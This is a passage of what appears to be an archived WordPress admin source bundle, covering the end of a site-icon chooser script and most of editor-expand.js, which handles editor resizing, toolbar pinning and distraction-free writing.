); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery ); editor-expand.js 0000644 00000123156 15222552267 0007665 0 ustar 00 /** * @output wp-admin/js/editor-expand.js */ ( function( window, $, undefined ) { 'use strict'; var $window = $( window ), $document = $( document ), $adminBar = $( '#wpadminbar' ), $footer = $( '#wpfooter' ); /** * Handles the resizing of the editor. * * @since 4.0.0 * * @return {void} */ $( function() { var $wrap = $( '#postdivrich' ), $contentWrap = $( '#wp-content-wrap' ), $tools = $( '#wp-content-editor-tools' ), $visualTop = $(), $visualEditor = $(), $textTop = $( '#ed_toolbar' ), $textEditor = $( '#content' ), textEditor = $textEditor[0], oldTextLength = 0, $bottom = $( '#post-status-info' ), $menuBar = $(), $statusBar = $(), $sideSortables = $( '#side-sortables' ), $postboxContainer = $( '#postbox-container-1' ), $postBody = $('#post-body'), fullscreen = window.wp.editor && window.wp.editor.fullscreen, mceEditor, mceBind = function(){}, mceUnbind = function(){}, fixedTop = false, fixedBottom = false, fixedSideTop = false, fixedSideBottom = false, scrollTimer, lastScrollPosition = 0, pageYOffsetAtTop = 130, pinnedToolsTop = 56, sidebarBottom = 20, autoresizeMinHeight = 300, initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html', advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ), // These are corrected when adjust() runs, except on scrolling if already set. heights = { windowHeight: 0, windowWidth: 0, adminBarHeight: 0, toolsHeight: 0, menuBarHeight: 0, visualTopHeight: 0, textTopHeight: 0, bottomHeight: 0, statusBarHeight: 0, sideSortablesHeight: 0 }; /** * Resizes textarea based on scroll height and width. * * Doesn't shrink the editor size below the 300px auto resize minimum height. * * @since 4.6.1 * * @return {void} */ var shrinkTextarea = window._.throttle( function() { var x = window.scrollX || document.documentElement.scrollLeft; var y = window.scrollY || document.documentElement.scrollTop; var height = parseInt( textEditor.style.height, 10 ); textEditor.style.height = autoresizeMinHeight + 'px'; if ( textEditor.scrollHeight > autoresizeMinHeight ) { textEditor.style.height = textEditor.scrollHeight + 'px'; } if ( typeof x !== 'undefined' ) { window.scrollTo( x, y ); } if ( textEditor.scrollHeight < height ) { adjust(); } }, 300 ); /** * Resizes the text editor depending on the old text length. * * If there is an mceEditor and it is hidden, it resizes the editor depending * on the old text length. If the current length of the text is smaller than * the old text length, it shrinks the text area. Otherwise it resizes the editor to * the scroll height. * * @since 4.6.1 * * @return {void} */ function textEditorResize() { var length = textEditor.value.length; if ( mceEditor && ! mceEditor.isHidden() ) { return; } if ( ! mceEditor && initialMode === 'tinymce' ) { return; } if ( length < oldTextLength ) { shrinkTextarea(); } else if ( parseInt( textEditor.style.height, 10 ) < textEditor.scrollHeight ) { textEditor.style.height = Math.ceil( textEditor.scrollHeight ) + 'px'; adjust(); } oldTextLength = length; } /** * Gets the height and widths of elements. * * Gets the heights of the window, the adminbar, the tools, the menu, * the visualTop, the textTop, the bottom, the statusbar and sideSortables * and stores these in the heights object. Defaults to 0. * Gets the width of the window and stores this in the heights object. * * @since 4.0.0 * * @return {void} */ function getHeights() { var windowWidth = $window.width(); heights = { windowHeight: $window.height(), windowWidth: windowWidth, adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ), toolsHeight: $tools.outerHeight() || 0, menuBarHeight: $menuBar.outerHeight() || 0, visualTopHeight: $visualTop.outerHeight() || 0, textTopHeight: $textTop.outerHeight() || 0, bottomHeight: $bottom.outerHeight() || 0, statusBarHeight: $statusBar.outerHeight() || 0, sideSortablesHeight: $sideSortables.height() || 0 }; // Adjust for hidden menubar. if ( heights.menuBarHeight < 3 ) { heights.menuBarHeight = 0; } } // We need to wait for TinyMCE to initialize. /** * Binds all necessary functions for editor expand to the editor when the editor * is initialized. * * @since 4.0.0 * * @param {event} event The TinyMCE editor init event. * @param {object} editor The editor to bind the vents on. * * @return {void} */ $document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) { // VK contains the type of key pressed. VK = virtual keyboard. var VK = window.tinymce.util.VK, /** * Hides any float panel with a hover state. Additionally hides tooltips. * * @return {void} */ hideFloatPanels = _.debounce( function() { ! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll(); $( '.mce-tooltip' ).hide(); }, 1000, true ); // Make sure it's the main editor. if ( editor.id !== 'content' ) { return; } // Copy the editor instance. mceEditor = editor; // Set the minimum height to the initial viewport height. editor.settings.autoresize_min_height = autoresizeMinHeight; // Get the necessary UI elements. $visualTop = $contentWrap.find( '.mce-toolbar-grp' ); $visualEditor = $contentWrap.find( '.mce-edit-area' ); $statusBar = $contentWrap.find( '.mce-statusbar' ); $menuBar = $contentWrap.find( '.mce-menubar' ); /** * Gets the offset of the editor. * * @return {number|boolean} Returns the offset of the editor * or false if there is no offset height. */ function mceGetCursorOffset() { var node = editor.selection.getNode(), range, view, offset; /* * If editor.wp.getView and the selection node from the editor selection * are defined, use this as a view for the offset. */ if ( editor.wp && editor.wp.getView && ( view = editor.wp.getView( node ) ) ) { offset = view.getBoundingClientRect(); } else { range = editor.selection.getRng(); // Try to get the offset from a range. try { offset = range.getClientRects()[0]; } catch( er ) {} // Get the offset from the bounding client rectangle of the node. if ( ! offset ) { offset = node.getBoundingClientRect(); } } return offset.height ? offset : false; } /** * Filters the special keys that should not be used for scrolling. * * @since 4.0.0 * * @param {event} event The event to get the key code from. * * @return {void} */ function mceKeyup( event ) { var key = event.keyCode; // Bail on special keys. Key code 47 is a '/'. if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) { return; // OS keys, function keys, num lock, scroll lock. Key code 91-93 are OS keys. // Key code 112-123 are F1 to F12. Key code 144 is num lock. Key code 145 is scroll lock. } else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) { return; } mceScroll( key ); } /** * Makes sure the cursor is always visible in the editor. * * Makes sure the cursor is kept between the toolbars of the editor and scrolls * the window when the cursor moves out of the viewport to a wpview. * Setting a buffer > 0 will prevent the browser default. * Some browsers will scroll to the middle, * others to the top/bottom of the *window* when moving the cursor out of the viewport. * * @since 4.1.0 * * @param {string} key The key code of the pressed key. * * @return {void} */ function mceScroll( key ) { var offset = mceGetCursorOffset(), buffer = 50, cursorTop, cursorBottom, editorTop, editorBottom; // Don't scroll if there is no offset. if ( ! offset ) { return; } // Determine the cursorTop based on the offset and the top of the editor iframe. cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top; // Determine the cursorBottom based on the cursorTop and offset height. cursorBottom = cursorTop + offset.height; // Subtract the buffer from the cursorTop. cursorTop = cursorTop - buffer; // Add the buffer to the cursorBottom. cursorBottom = cursorBottom + buffer; editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight; /* * Set the editorBottom based on the window Height, and add the bottomHeight and statusBarHeight if the * advanced editor is enabled. */ editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 ); // Don't scroll if the node is taller than the visible part of the editor. if ( editorBottom - editorTop < offset.height ) { return; } /* * If the cursorTop is smaller than the editorTop and the up, left * or backspace key is pressed, scroll the editor to the position defined * by the cursorTop, pageYOffset and editorTop. */ if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) { window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop ); /* * If any other key is pressed or the cursorTop is bigger than the editorTop, * scroll the editor to the position defined by the cursorBottom, * pageYOffset and editorBottom. */ } else if ( cursorBottom > editorBottom ) { window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom ); } } /** * If the editor is fullscreen, calls adjust. * * @since 4.1.0 * * @param {event} event The FullscreenStateChanged event. * * @return {void} */ function mceFullscreenToggled( event ) { // event.state is true if the editor is fullscreen. if ( ! event.state ) { adjust(); } } /** * Shows the editor when scrolled. * * Binds the hideFloatPanels function on the window scroll.mce-float-panels event. * Executes the wpAutoResize on the active editor. * * @since 4.0.0 * * @return {void} */ function mceShow() { $window.on( 'scroll.mce-float-panels', hideFloatPanels ); setTimeout( function() { editor.execCommand( 'wpAutoResize' ); adjust(); }, 300 ); } /** * Resizes the editor. * * Removes all functions from the window scroll.mce-float-panels event. * Resizes the text editor and scrolls to a position based on the pageXOffset and adminBarHeight. * * @since 4.0.0 * * @return {void} */ function mceHide() { $window.off( 'scroll.mce-float-panels' ); setTimeout( function() { var top = $contentWrap.offset().top; if ( window.pageYOffset > top ) { window.scrollTo( window.pageXOffset, top - heights.adminBarHeight ); } textEditorResize(); adjust(); }, 100 ); adjust(); } /** * Toggles advanced states. * * @since 4.1.0 * * @return {void} */ function toggleAdvanced() { advanced = ! advanced; } /** * Binds events of the editor and window. * * @since 4.0.0 * * @return {void} */ mceBind = function() { editor.on( 'keyup', mceKeyup ); editor.on( 'show', mceShow ); editor.on( 'hide', mceHide ); editor.on( 'wp-toolbar-toggle', toggleAdvanced ); // Adjust when the editor resizes. editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust ); // Don't hide the caret after undo/redo. editor.on( 'undo redo', mceScroll ); // Adjust when exiting TinyMCE's fullscreen mode. editor.on( 'FullscreenStateChanged', mceFullscreenToggled ); $window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels ); }; /** * Unbinds the events of the editor and window. * * @since 4.0.0 * * @return {void} */ mceUnbind = function() { editor.off( 'keyup', mceKeyup ); editor.off( 'show', mceShow ); editor.off( 'hide', mceHide ); editor.off( 'wp-toolbar-toggle', toggleAdvanced ); editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust ); editor.off( 'undo redo', mceScroll ); editor.off( 'FullscreenStateChanged', mceFullscreenToggled ); $window.off( 'scroll.mce-float-panels' ); }; if ( $wrap.hasClass( 'wp-editor-expand' ) ) { // Adjust "immediately". mceBind(); initialResize( adjust ); } } ); /** * Adjusts the toolbars heights and positions. * * Adjusts the toolbars heights and positions based on the scroll position on * the page, the active editor mode and the heights of the editor, admin bar and * side bar. * * @since 4.0.0 * * @param {event} event The event that calls this function. * * @return {void} */ function adjust( event ) { // Makes sure we're not in fullscreen mode. if ( fullscreen && fullscreen.settings.visible ) { return; } var windowPos = $window.scrollTop(), type = event && event.type, resize = type !== 'scroll', visual = mceEditor && ! mceEditor.isHidden(), buffer = autoresizeMinHeight, postBodyTop = $postBody.offset().top, borderWidth = 1, contentWrapWidth = $contentWrap.width(), $top, $editor, sidebarTop, footerTop, canPin, topPos, topHeight, editorPos, editorHeight; /* * Refresh the heights if type isn't 'scroll' * or heights.windowHeight isn't set. */ if ( resize || ! heights.windowHeight ) { getHeights(); } // Resize on resize event when the editor is in text mode. if ( ! visual && type === 'resize' ) { textEditorResize(); } if ( visual ) { $top = $visualTop; $editor = $visualEditor; topHeight = heights.visualTopHeight; } else { $top = $textTop; $editor = $textEditor; topHeight = heights.textTopHeight; } // Return if TinyMCE is still initializing. if ( ! visual && ! $top.length ) { return; } topPos = $top.parent().offset().top; editorPos = $editor.offset().top; editorHeight = $editor.outerHeight(); /* * If in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + topHeight. * If not in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + 20. */ canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding. canPin = editorHeight > ( canPin + 5 ); if ( ! canPin ) { if ( resize ) { $tools.css( { position: 'absolute', top: 0, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: 0, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' ); $bottom.attr( 'style', '' ); } } else { // Check if the top is not already in a fixed position. if ( ( ! fixedTop || resize ) && ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) && windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) { fixedTop = true; $tools.css( { position: 'fixed', top: heights.adminBarHeight, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'fixed', top: heights.adminBarHeight + heights.toolsHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } $top.css( { position: 'fixed', top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); // Check if the top is already in a fixed position. } else if ( fixedTop || resize ) { if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) { fixedTop = false; $tools.css( { position: 'absolute', top: 0, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: 0, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) { fixedTop = false; $tools.css( { position: 'absolute', top: editorHeight - buffer, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: editorHeight - buffer, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: editorHeight - buffer + heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } } // Check if the bottom is not already in a fixed position. if ( ( ! fixedBottom || ( resize && advanced ) ) && // Add borderWidth for the border around the .wp-editor-container. ( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) { if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) { window.scrollBy( 0, event.deltaHeight ); } else if ( visual && advanced ) { fixedBottom = true; $statusBar.css( { position: 'fixed', bottom: heights.bottomHeight, visibility: '', width: contentWrapWidth - ( borderWidth * 2 ) } ); $bottom.css( { position: 'fixed', bottom: 0, width: contentWrapWidth } ); } } else if ( ( ! advanced && fixedBottom ) || ( ( fixedBottom || resize ) && ( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) { fixedBottom = false; $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' ); $bottom.attr( 'style', '' ); } } // The postbox container is positioned with @media from CSS. Ensure it is pinned on the side. if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 && // Check if the sidebar is not taller than the document height. $document.height() > ( $sideSortables.height() + postBodyTop + 120 ) && // Check if the editor is taller than the viewport. heights.windowHeight < editorHeight ) { if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) { // Reset the sideSortables style when scrolling to the top. if ( windowPos + pinnedToolsTop <= postBodyTop ) { $sideSortables.attr( 'style', '' ); fixedSideTop = fixedSideBottom = false; } else { // When scrolling down. if ( windowPos > lastScrollPosition ) { if ( fixedSideTop ) { // Let it scroll. fixedSideTop = false; sidebarTop = $sideSortables.offset().top - heights.adminBarHeight; footerTop = $footer.offset().top; // Don't get over the footer. if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) { sidebarTop = footerTop - heights.sideSortablesHeight - 12; } $sideSortables.css({ position: 'absolute', top: sidebarTop, bottom: '' }); } else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) { // Pin the bottom. fixedSideBottom = true; $sideSortables.css({ position: 'fixed', top: 'auto', bottom: sidebarBottom }); } // When scrolling up. } else if ( windowPos < lastScrollPosition ) { if ( fixedSideBottom ) { // Let it scroll. fixedSideBottom = false; sidebarTop = $sideSortables.offset().top - sidebarBottom; footerTop = $footer.offset().top; // Don't get over the footer. if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) { sidebarTop = footerTop - heights.sideSortablesHeight - 12; } $sideSortables.css({ position: 'absolute', top: sidebarTop, bottom: '' }); } else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) { // Pin the top. fixedSideTop = true; $sideSortables.css({ position: 'fixed', top: pinnedToolsTop, bottom: '' }); } } } } else { // If the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling. if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) { $sideSortables.css( { position: 'fixed', top: pinnedToolsTop } ); } else { $sideSortables.attr( 'style', '' ); } fixedSideTop = fixedSideBottom = false; } lastScrollPosition = windowPos; } else { $sideSortables.attr( 'style', '' ); fixedSideTop = fixedSideBottom = false; } if ( resize ) { $contentWrap.css( { paddingTop: heights.toolsHeight } ); if ( visual ) { $visualEditor.css( { paddingTop: heights.visualTopHeight + heights.menuBarHeight } ); } else { $textEditor.css( { marginTop: heights.textTopHeight } ); } } } /** * Resizes the editor and adjusts the toolbars. * * @since 4.0.0 * * @return {void} */ function fullscreenHide() { textEditorResize(); adjust(); } /** * Runs the passed function with 500ms intervals. * * @since 4.0.0 * * @param {function} callback The function to run in the timeout. * * @return {void} */ function initialResize( callback ) { for ( var i = 1; i < 6; i++ ) { setTimeout( callback, 500 * i ); } } /** * Runs adjust after 100ms. * * @since 4.0.0 * * @return {void} */ function afterScroll() { clearTimeout( scrollTimer ); scrollTimer = setTimeout( adjust, 100 ); } /** * Binds editor expand events on elements. * * @since 4.0.0 * * @return {void} */ function on() { /* * Scroll to the top when triggering this from JS. * Ensure the toolbars are pinned properly. */ if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) { window.scrollTo( window.pageXOffset, 0 ); } $wrap.addClass( 'wp-editor-expand' ); // Adjust when the window is scrolled or resized. $window.on( 'scroll.editor-expand resize.editor-expand', function( event ) { adjust( event.type ); afterScroll(); } ); /* * Adjust when collapsing the menu, changing the columns * or changing the body class. */ $document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust ) .on( 'postbox-toggled.editor-expand postbox-moved.editor-expand', function() { if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) { fixedSideBottom = true; window.scrollBy( 0, -1 ); adjust(); window.scrollBy( 0, 1 ); } adjust(); }).on( 'wp-window-resized.editor-expand', function() { if ( mceEditor && ! mceEditor.isHidden() ) { mceEditor.execCommand( 'wpAutoResize' ); } else { textEditorResize(); } }); $textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize ); mceBind(); // Adjust when entering or exiting fullscreen mode. fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide ); if ( mceEditor ) { mceEditor.settings.wp_autoresize_on = true; mceEditor.execCommand( 'wpAutoResizeOn' ); if ( ! mceEditor.isHidden() ) { mceEditor.execCommand( 'wpAutoResize' ); } } if ( ! mceEditor || mceEditor.isHidden() ) { textEditorResize(); } adjust(); $document.trigger( 'editor-expand-on' ); } /** * Unbinds editor expand events. * * @since 4.0.0 * * @return {void} */ function off() { var height = parseInt( window.getUserSetting( 'ed_size', 300 ), 10 ); if ( height < 50 ) { height = 50; } else if ( height > 5000 ) { height = 5000; } /* * Scroll to the top when triggering this from JS. * Ensure the toolbars are reset properly. */ if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) { window.scrollTo( window.pageXOffset, 0 ); } $wrap.removeClass( 'wp-editor-expand' ); $window.off( '.editor-expand' ); $document.off( '.editor-expand' ); $textEditor.off( '.editor-expand' ); mceUnbind(); // Adjust when entering or exiting fullscreen mode. fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide ); // Reset all CSS. $.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) { element && element.attr( 'style', '' ); }); fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false; if ( mceEditor ) { mceEditor.settings.wp_autoresize_on = false; mceEditor.execCommand( 'wpAutoResizeOff' ); if ( ! mceEditor.isHidden() ) { $textEditor.hide(); if ( height ) { mceEditor.theme.resizeTo( null, height ); } } } // If there is a height found in the user setting. if ( height ) { $textEditor.height( height ); } $document.trigger( 'editor-expand-off' ); } // Start on load. if ( $wrap.hasClass( 'wp-editor-expand' ) ) { on(); // Resize just after CSS has fully loaded and QuickTags is ready. if ( $contentWrap.hasClass( 'html-active' ) ) { initialResize( function() { adjust(); textEditorResize(); } ); } } // Show the on/off checkbox. $( '#adv-settings .editor-expand' ).show(); $( '#editor-expand-toggle' ).on( 'change.editor-expand', function() { if ( $(this).prop( 'checked' ) ) { on(); window.setUserSetting( 'editor_expand', 'on' ); } else { off(); window.setUserSetting( 'editor_expand', 'off' ); } }); // Expose on() and off(). window.editorExpand = { on: on, off: off }; } ); /** * Handles the distraction free writing of TinyMCE. * * @since 4.1.0 * * @return {void} */ $( function() { var $body = $( document.body ), $wrap = $( '#wpcontent' ), $editor = $( '#post-body-content' ), $title = $( '#title' ), $content = $( '#content' ), $overlay = $( document.createElement( 'DIV' ) ), $slug = $( '#edit-slug-box' ), $slugFocusEl = $slug.find( 'a' ) .add( $slug.find( 'button' ) ) .add( $slug.find( 'input' ) ), $menuWrap = $( '#adminmenuwrap' ), $editorWindow = $(), $editorIframe = $(), _isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on', _isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false, traveledX = 0, traveledY = 0, buffer = 20, faded, fadedAdminBar, fadedSlug, editorRect, x, y, mouseY, scrollY, focusLostTimer, overlayTimer, editorHasFocus; $body.append( $overlay ); $overlay.css( { display: 'none', position: 'fixed', top: $adminBar.height(), right: 0, bottom: 0, left: 0, 'z-index': 9997 } ); $editor.css( { position: 'relative' } ); $window.on( 'mousemove.focus', function( event ) { mouseY = event.pageY; } ); /** * Recalculates the bottom and right position of the editor in the DOM. * * @since 4.1.0 * * @return {void} */ function recalcEditorRect() { editorRect = $editor.offset(); editorRect.right = editorRect.left + $editor.outerWidth(); editorRect.bottom = editorRect.top + $editor.outerHeight(); } /** * Activates the distraction free writing mode. * * @since 4.1.0 * * @return {void} */ function activate() { if ( ! _isActive ) { _isActive = true; $document.trigger( 'dfw-activate' ); $content.on( 'keydown.focus-shortcut', toggleViaKeyboard ); } } /** * Deactivates the distraction free writing mode. * * @since 4.1.0 * * @return {void} */ function deactivate() { if ( _isActive ) { off(); _isActive = false; $document.trigger( 'dfw-deactivate' ); $content.off( 'keydown.focus-shortcut' ); } } /** * Returns _isActive. * * @since 4.1.0 * * @return {boolean} Returns true is _isActive is true. */ function isActive() { return _isActive; } /** * Binds events on the editor for distraction free writing. * * @since 4.1.0 * * @return {void} */ function on() { if ( ! _isOn && _isActive ) { _isOn = true; $content.on( 'keydown.focus', fadeOut ); $title.add( $content ).on( 'blur.focus', maybeFadeIn ); fadeOut(); window.setUserSetting( 'post_dfw', 'on' ); $document.trigger( 'dfw-on' ); } } /** * Unbinds events on the editor for distraction free writing. * * @since 4.1.0 * * @return {void} */ function off() { if ( _isOn ) { _isOn = false; $title.add( $content ).off( '.focus' ); fadeIn(); $editor.off( '.focus' ); window.setUserSetting( 'post_dfw', 'off' ); $document.trigger( 'dfw-off' ); } } /** * Binds or unbinds the editor expand events. * * @since 4.1.0 * * @return {void} */ function toggle() { if ( _isOn ) { off(); } else { on(); } } /** * Returns the value of _isOn. * * @since 4.1.0 * * @return {boolean} Returns true if _isOn is true. */ function isOn() { return _isOn; } /** * Fades out all elements except for the editor. * * The fading is done based on key presses and mouse movements. * Also calls the fadeIn on certain key presses * or if the mouse leaves the editor. * * @since 4.1.0 * * @param event The event that triggers this function. * * @return {void} */ function fadeOut( event ) { var isMac, key = event && event.keyCode; if ( window.navigator.platform ) { isMac = ( window.navigator.platform.indexOf( 'Mac' ) > -1 ); } // Fade in and returns on Escape and keyboard shortcut Alt+Shift+W and Ctrl+Opt+W. if ( key === 27 || ( key === 87 && event.altKey && ( ( ! isMac && event.shiftKey ) || ( isMac && event.ctrlKey ) ) ) ) { fadeIn( event ); return; } // Return if any of the following keys or combinations of keys is pressed. if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && ( // Special keys ( tab, ctrl, alt, esc, arrow keys... ). ( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) || // Windows keys. ( key >= 91 && key <= 93 ) || // F keys. ( key >= 112 && key <= 135 ) || // Num Lock, Scroll Lock, OEM. ( key >= 144 && key <= 150 ) || // OEM or non-printable. key >= 224 ) ) ) ) { return; } if ( ! faded ) { faded = true; clearTimeout( overlayTimer ); overlayTimer = setTimeout( function() { $overlay.show(); }, 600 ); $editor.css( 'z-index', 9998 ); $overlay // Always recalculate the editor area when entering the overlay with the mouse. .on( 'mouseenter.focus', function() { recalcEditorRect(); $window.on( 'scroll.focus', function() { var nScrollY = window.pageYOffset; if ( ( scrollY && mouseY && scrollY !== nScrollY ) && ( mouseY < editorRect.top - buffer || mouseY > editorRect.bottom + buffer ) ) { fadeIn(); } scrollY = nScrollY; } ); } ) .on( 'mouseleave.focus', function() { x = y = null; traveledX = traveledY = 0; $window.off( 'scroll.focus' ); } ) // Fade in when the mouse moves away form the editor area. .on( 'mousemove.focus', function( event ) { var nx = event.clientX, ny = event.clientY, pageYOffset = window.pageYOffset, pageXOffset = window.pageXOffset; if ( x && y && ( nx !== x || ny !== y ) ) { if ( ( ny <= y && ny < editorRect.top - pageYOffset ) || ( ny >= y && ny > editorRect.bottom - pageYOffset ) || ( nx <= x && nx < editorRect.left - pageXOffset ) || ( nx >= x && nx > editorRect.right - pageXOffset ) ) { traveledX += Math.abs( x - nx ); traveledY += Math.abs( y - ny ); if ( ( ny <= editorRect.top - buffer - pageYOffset || ny >= editorRect.bottom + buffer - pageYOffset || nx <= editorRect.left - buffer - pageXOffset || nx >= editorRect.right + buffer - pageXOffset ) && ( traveledX > 10 || traveledY > 10 ) ) { fadeIn(); x = y = null; traveledX = traveledY = 0; return; } } else { traveledX = traveledY = 0; } } x = nx; y = ny; } ) // When the overlay is touched, fade in and cancel the event. .on( 'touchstart.focus', function( event ) { event.preventDefault(); fadeIn(); } ); $editor.off( 'mouseenter.focus' ); if ( focusLostTimer ) { clearTimeout( focusLostTimer ); focusLostTimer = null; } $body.addClass( 'focus-on' ).removeClass( 'focus-off' ); } fadeOutAdminBar(); fadeOutSlug(); } /** * Fades all elements back in. * * @since 4.1.0 * * @param event The event that triggers this function. * * @return {void} */ function fadeIn( event ) { if ( faded ) { faded = false; clearTimeout( overlayTimer ); overlayTimer = setTimeout( function() { $overlay.hide(); }, 200 ); $editor.css( 'z-index', '' ); $overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' ); /* * When fading in, temporarily watch for refocus and fade back out - helps * with 'accidental' editor exits with the mouse. When fading in and the event * is a key event (Escape or Alt+Shift+W) don't watch for refocus. */ if ( 'undefined' === typeof event ) { $editor.on( 'mouseenter.focus', function() { if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) { fadeOut(); } } ); } focusLostTimer = setTimeout( function() { focusLostTimer = null; $editor.off( 'mouseenter.focus' ); }, 1000 ); $body.addClass( 'focus-off' ).removeClass( 'focus-on' ); } fadeInAdminBar(); fadeInSlug(); } /** * Fades in if the focused element based on it position. * * @since 4.1.0 * * @return {void} */ function maybeFadeIn() { setTimeout( function() { var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) ); function hasFocus( $el ) { return $.contains( $el.get( 0 ), document.activeElement ); } // The focused node is before or behind the editor area, and not outside the wrap. if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) { fadeIn(); } }, 0 ); } /** * Fades out the admin bar based on focus on the admin bar. * * @since 4.1.0 * * @return {void} */ function fadeOutAdminBar() { if ( ! fadedAdminBar && faded ) { fadedAdminBar = true; $adminBar .on( 'mouseenter.focus', function() { $adminBar.addClass( 'focus-off' ); } ) .on( 'mouseleave.focus', function() { $adminBar.removeClass( 'focus-off' ); } ); } } /** * Fades in the admin bar. * * @since 4.1.0 * * @return {void} */ function fadeInAdminBar() { if ( fadedAdminBar ) { fadedAdminBar = false; $adminBar.off( '.focus' ); } } /** * Fades out the edit slug box. * * @since 4.1.0 * * @return {void} */ function fadeOutSlug() { if ( ! fadedSlug && faded 